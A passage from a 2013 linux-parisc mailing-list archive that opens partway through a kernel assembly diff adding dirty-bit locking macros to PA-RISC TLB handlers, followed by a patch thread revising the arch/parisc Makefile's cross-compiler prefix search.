+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1238,13 +1288,15 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1345,11 +1397,13 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 	
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1367,11 +1421,13 @@ naitlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,naitlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1393,7 +1449,8 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1404,6 +1461,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1415,7 +1473,8 @@ naitlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1426,6 +1485,7 @@ naitlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1447,13 +1507,15 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1465,13 +1527,15 @@ naitlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,naitlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	dbit_lock	spc,t0,t1
+	update_ptep	spc,ptp,pte,t0,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	iitlbt          pte,prot
+	dbit_unlock1	spc,t0
 
 	rfir
 	nop
@@ -1495,29 +1559,13 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dbit_unlock0	spc,t0
 
 	rfir
 	nop
@@ -1531,18 +1579,8 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1553,13 +1591,7 @@ dbit_nolock_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	dbit_unlock0	spc,t0
 
 	rfir
 	nop
@@ -1571,32 +1603,15 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	dbit_lock	spc,t0,t1
+	update_dirty	spc,ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t1
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)

From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make default cross compiler search more robust (v3)
Date: Sat, 11 May 2013 21:04:09 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20130511190409.GA5110@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368299061 18099 80.91.229.3 (11 May 2013 19:04:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 May 2013 19:04:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mike Frysinger <vapier@gentoo.org>,
	Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 11 21:04:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UbF5e-0004pJ-9t
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 May 2013 21:04:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752880Ab3EKTER (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 May 2013 15:04:17 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49795 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752242Ab3EKTER (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 May 2013 15:04:17 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M6yIl-1UN87W23SH-00wn31 for
 <linux-parisc@vger.kernel.org>; Sat, 11 May 2013 21:04:15 +0200
Original-Received: (qmail invoked by alias); 11 May 2013 19:04:15 -0000
Original-Received: from p54AD31BD.dip0.t-ipconnect.de (EHLO p100.box) [84.173.49.189]
  by mail.gmx.net (mp032) with SMTP; 11 May 2013 21:04:15 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18RtCUtGtsR3NjdQo8vrrR97zBQgvDxHWs5JqM1hV
	ZIsxqF+gBP17CH
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5012>

People/distros vary how they prefix the toolchain name for 64bit builds.
Rather than enforce one convention over another, add a for loop which
does a search for all the general prefixes.

For 64bit builds, we now search for (in order):
	hppa64-unknown-linux-gnu
	hppa64-linux-gnu
	hppa64-linux

For 32bit builds, we look for:
	hppa-unknown-linux-gnu
	hppa-linux-gnu
	hppa-linux
	hppa1.1-unknown-linux-gnu
	hppa1.1-linux-gnu
	hppa1.1-linux
	hppa2.0-unknown-linux-gnu
	hppa2.0-linux-gnu
	hppa2.0-linux

This patch was initiated by Mike Frysinger, with feedback from Jeroen
Roovers, John David Anglin and Helge Deller.

Signed-off-by: Helge Deller <deller@gmx.de>
CC: Mike Frysinger <vapier@gentoo.org>
CC: Jeroen Roovers <jer@gentoo.org>
CC: John David Anglin <dave.anglin@bell.net>


diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 2f967cc..4e5b7b5 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -23,24 +23,21 @@ NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
-MACHINE		:= $(shell uname -m)
-NATIVE		:= $(if $(filter parisc%,$(MACHINE)),1,0)
-
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
-WIDTH		:= 64
+CC_ARCHES	= hppa64
 else # 32-bit
-WIDTH		:=
+CC_ARCHES	= hppa hppa1.1 hppa2.0
 endif
 
-# attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
-else
- ifeq ($(CROSS_COMPILE),)
- CROSS_COMPILE	:= hppa$(WIDTH)-linux-gnu-
- endif
+ifneq ($(SUBARCH),$(ARCH))
+	ifeq ($(CROSS_COMPILE),)
+		CC_SUFFIXES = linux linux-gnu unknown-linux-gnu
+		CROSS_COMPILE := $(call cc-cross-prefix, \
+			$(foreach a,$(CC_ARCHES), \
+			$(foreach s,$(CC_SUFFIXES),$(a)-$(s)-)))
+	endif
 endif
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust (v3)
Date: Sat, 11 May 2013 15:13:11 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU0-SMTP63A418EF74AC599429393797A60@phx.gbl>
References: <20130511190409.GA5110@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368299632 23495 80.91.229.3 (11 May 2013 19:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 May 2013 19:13:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mike Frysinger <vapier@gentoo.org>,
	Jeroen Roovers <jer@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 11 21:13:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UbFEn-0003TA-1L
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 May 2013 21:13:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753083Ab3EKTNo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 May 2013 15:13:44 -0400
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:23090 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752880Ab3EKTNn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 May 2013 15:13:43 -0400
Original-Received: from BLU0-SMTP63 ([65.55.111.137]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 May 2013 12:13:43 -0700
X-EIP: [yU56hgEKV2s0UXKEY8MzhypffJBWCjll]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP63.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 11 May 2013 12:13:42 -0700
In-Reply-To: <20130511190409.GA5110@p100.box>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 May 2013 19:13:42.0572 (UTC) FILETIME=[A6BDBEC0:01CE4E7B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5013>

On 11-May-13, at 3:04 PM, Helge Deller wrote:

> People/distros vary how they prefix the toolchain name for 64bit  
> builds.
> Rather than enforce one convention over another, add a for loop which
> does a search for all the general prefixes.
>
> For 64bit builds, we now search for (in order):
> 	hppa64-unknown-linux-gnu
> 	hppa64-linux-gnu
> 	hppa64-linux
>
> For 32bit builds, we look for:
> 	hppa-unknown-linux-gnu
> 	hppa-linux-gnu
> 	hppa-linux
> 	hppa1.1-unknown-linux-gnu
> 	hppa1.1-linux-gnu
> 	hppa1.1-linux
> 	hppa2.0-unknown-linux-gnu
> 	hppa2.0-linux-gnu
> 	hppa2.0-linux


As I tried to say before, I would search for hppa2.0 before hppa1.1 in  
case both are installed.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
 (v4)
Date: Sat, 11 May 2013 23:55:55 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20130511215555.GA12893@p100.box>
References: <20130511190409.GA5110@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368309363 10005 80.91.229.3 (11 May 2013 21:56:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 11 May 2013 21:56:03 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>, Jeroen Roovers <jer@gentoo.org>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 11 23:56:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UbHlo-0000YZ-Su
	for glpp-linux-parisc@plane.gmane.org; Sat, 11 May 2013 23:56:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754520Ab3EKV4A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 May 2013 17:56:00 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49297 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754518Ab3EKV4A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 May 2013 17:56:00 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MbNNK-1UrqgM2DTQ-00Ij3Y for
 <linux-parisc@vger.kernel.org>; Sat, 11 May 2013 23:55:58 +0200
Original-Received: (qmail invoked by alias); 11 May 2013 21:55:58 -0000
Original-Received: from p54AD31BD.dip0.t-ipconnect.de (EHLO p100.box) [84.173.49.189]
  by mail.gmx.net (mp034) with SMTP; 11 May 2013 23:55:58 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19/SA5upZN/IKGPAFiWi/tSVaEm4XGOjGY7kgBlaz
	SSgmOXEYSb69sG
Content-Disposition: inline
In-Reply-To: <20130511190409.GA5110@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5014>

People/distros vary how they prefix the toolchain name for 64bit builds.
Rather than enforce one convention over another, add a for loop which
does a search for all the general prefixes.

For 64bit builds, we now search for (in order):
	hppa64-unknown-linux-gnu
	hppa64-linux-gnu
	hppa64-linux

For 32bit builds, we look for:
	hppa-unknown-linux-gnu
	hppa-linux-gnu
	hppa-linux
	hppa2.0-unknown-linux-gnu
	hppa2.0-linux-gnu
	hppa2.0-linux
	hppa1.1-unknown-linux-gnu
	hppa1.1-linux-gnu
	hppa1.1-linux

This patch was initiated by Mike Frysinger, with feedback from Jeroen
Roovers, John David Anglin and Helge Deller.

CC: Mike Frysinger <vapier@gentoo.org>
CC: Jeroen Roovers <jer@gentoo.org>
Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 2f967cc..4e5b7b5 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -23,24 +23,21 @@ NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
-MACHINE		:= $(shell uname -m)
-NATIVE		:= $(if $(filter parisc%,$(MACHINE)),1,0)
-
 ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
-WIDTH		:= 64
+CC_ARCHES	= hppa64
 else # 32-bit
-WIDTH		:=
+CC_ARCHES	= hppa hppa2.0 hppa1.1
 endif
 
-# attempt to help out folks who are cross-compiling
-ifeq ($(NATIVE),1)
-CROSS_COMPILE	:= hppa$(WIDTH)-linux-
-else
- ifeq ($(CROSS_COMPILE),)
- CROSS_COMPILE	:= hppa$(WIDTH)-linux-gnu-
- endif
+ifneq ($(SUBARCH),$(UTS_MACHINE))
+	ifeq ($(CROSS_COMPILE),)
+		CC_SUFFIXES = linux linux-gnu unknown-linux-gnu
+		CROSS_COMPILE := $(call cc-cross-prefix, \
+			$(foreach a,$(CC_ARCHES), \
+			$(foreach s,$(CC_SUFFIXES),$(a)-$(s)-)))
+	endif
 endif
 
 OBJCOPY_FLAGS =-O binary -R .note -R .comment -S
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust (v4)
Date: Sun, 12 May 2013 14:22:49 -0400
Organization: wh0rd.org
Lines: 36
Approved: news@gmane.org
Message-ID: <201305121422.51899.vapier@gentoo.org>
References: <20130511190409.GA5110@p100.box> <20130511215555.GA12893@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1418154.j3v8XY3H1M";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368382973 2350 80.91.229.3 (12 May 2013 18:22:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 May 2013 18:22:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Jeroen Roovers <jer@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 12 20:22:52 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ubav4-0000Qe-F3
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 May 2013 20:22:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750953Ab3ELSWu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 May 2013 14:22:50 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55134 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750813Ab3ELSWt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 May 2013 14:22:49 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id E122733DF3D;
	Sun, 12 May 2013 18:22:48 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.8.3; KDE/4.6.5; x86_64; ; )
In-Reply-To: <20130511215555.GA12893@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5015>

--nextPart1418154.j3v8XY3H1M
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Signed-off-by: Mike Frysinger <vapier@gentoo.org>
-mike

--nextPart1418154.j3v8XY3H1M
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRj937AAoJEEFjO5/oN/WBZr8QAIQNvcmmoxV/9wYmeNxe0GJ8
PntWLza8CYmnsF8hFEKbR/cfxzxP2R5inzLnL6qOi30f3L90NLv+Yl+aRpFRm+Ef
GaxnuannU5f57+3GodYc0sO7vKvglAcehMm+qy19fYOExUXqjmVlQY7KuieA/8Ai
euzFluNiSjdwef1s2+Df0BNgUJjVtKBOk0mhcDmd4dYgmNfF4822K/z/A9m/fB7/
ej5siR+91SW6OfobpEiXpPSF2adWK8Y2xxHJivONzmxiOqmzG9aj53fTZ2ffE5rp
3mJaPqx1dPCuau9jhtSKHsCdLnyR6+Sz/nALFv0fj83HpgAoyLEgr3Obb52EgQfL
ycKHgK4HUoy5+LpSEGfQkKtiuajiFkFGxbddbOPqkk0RsF6hvfIeUQniHnry8j0x
nEa4Rove6wG/DPgH8ASMpzfxFc1/MDtuJqqpJcqJngyYx6uDLG+sAt7i7HztGrAx
wwbTbMFM9ApiGY3O0Qu7WCqmIsZva3FRb/bk3CUhPuz0jBnhrr9MJe/RsbWJ977X
ARZYx2yAKfONFM1aIIlJReGwo/JxgVQhN2Th4NdeGNvv00Kav2TTrmO/PjNpN+6B
iSbRniFed32hcNcOGgSfghoptED5qcN1yO+GyMtxJFydFZhiI9Eonatj8XBpuK18
trFOBT3A63GVOIcFY+Dg
=iM9w
-----END PGP SIGNATURE-----

--nextPart1418154.j3v8XY3H1M--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: make default cross compiler search more robust
 (v4)
Date: Sun, 12 May 2013 20:33:41 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20130512203341.22d34f99@marga.jer-c2.orkz.net>
References: <20130511190409.GA5110@p100.box>
	<20130511215555.GA12893@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1368383639 7807 80.91.229.3 (12 May 2013 18:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 May 2013 18:33:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mike Frysinger <vapier@gentoo.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 12 20:33:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ubb5n-0000Ys-Dg
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 May 2013 20:33:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751053Ab3ELSds (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 May 2013 14:33:48 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:55883 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750957Ab3ELSdr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 May 2013 14:33:47 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id E62AA33DF00;
	Sun, 12 May 2013 18:33:45 +0000 (UTC)
In-Reply-To: <20130511215555.GA12893@p100.box>
X-Mailer: Claws Mail 3.9.1 (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5016>

On Sat, 11 May 2013 23:55:55 +0200
Helge Deller <deller@gmx.de> wrote:

> People/distros vary how they prefix the toolchain name for 64bit
> builds. Rather than enforce one convention over another, add a for
> loop which does a search for all the general prefixes.
> 
> For 64bit builds, we now search for (in order):
> 	hppa64-unknown-linux-gnu
> 	hppa64-linux-gnu
> 	hppa64-linux
> 
> For 32bit builds, we look for:
> 	hppa-unknown-linux-gnu
> 	hppa-linux-gnu
> 	hppa-linux
> 	hppa2.0-unknown-linux-gnu
> 	hppa2.0-linux-gnu
> 	hppa2.0-linux
> 	hppa1.1-unknown-linux-gnu
> 	hppa1.1-linux-gnu
> 	hppa1.1-linux
> 
> This patch was initiated by Mike Frysinger, with feedback from Jeroen
> Roovers, John David Anglin and Helge Deller.
> 
> CC: Mike Frysinger <vapier@gentoo.org>
> CC: Jeroen Roovers <jer@gentoo.org>
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
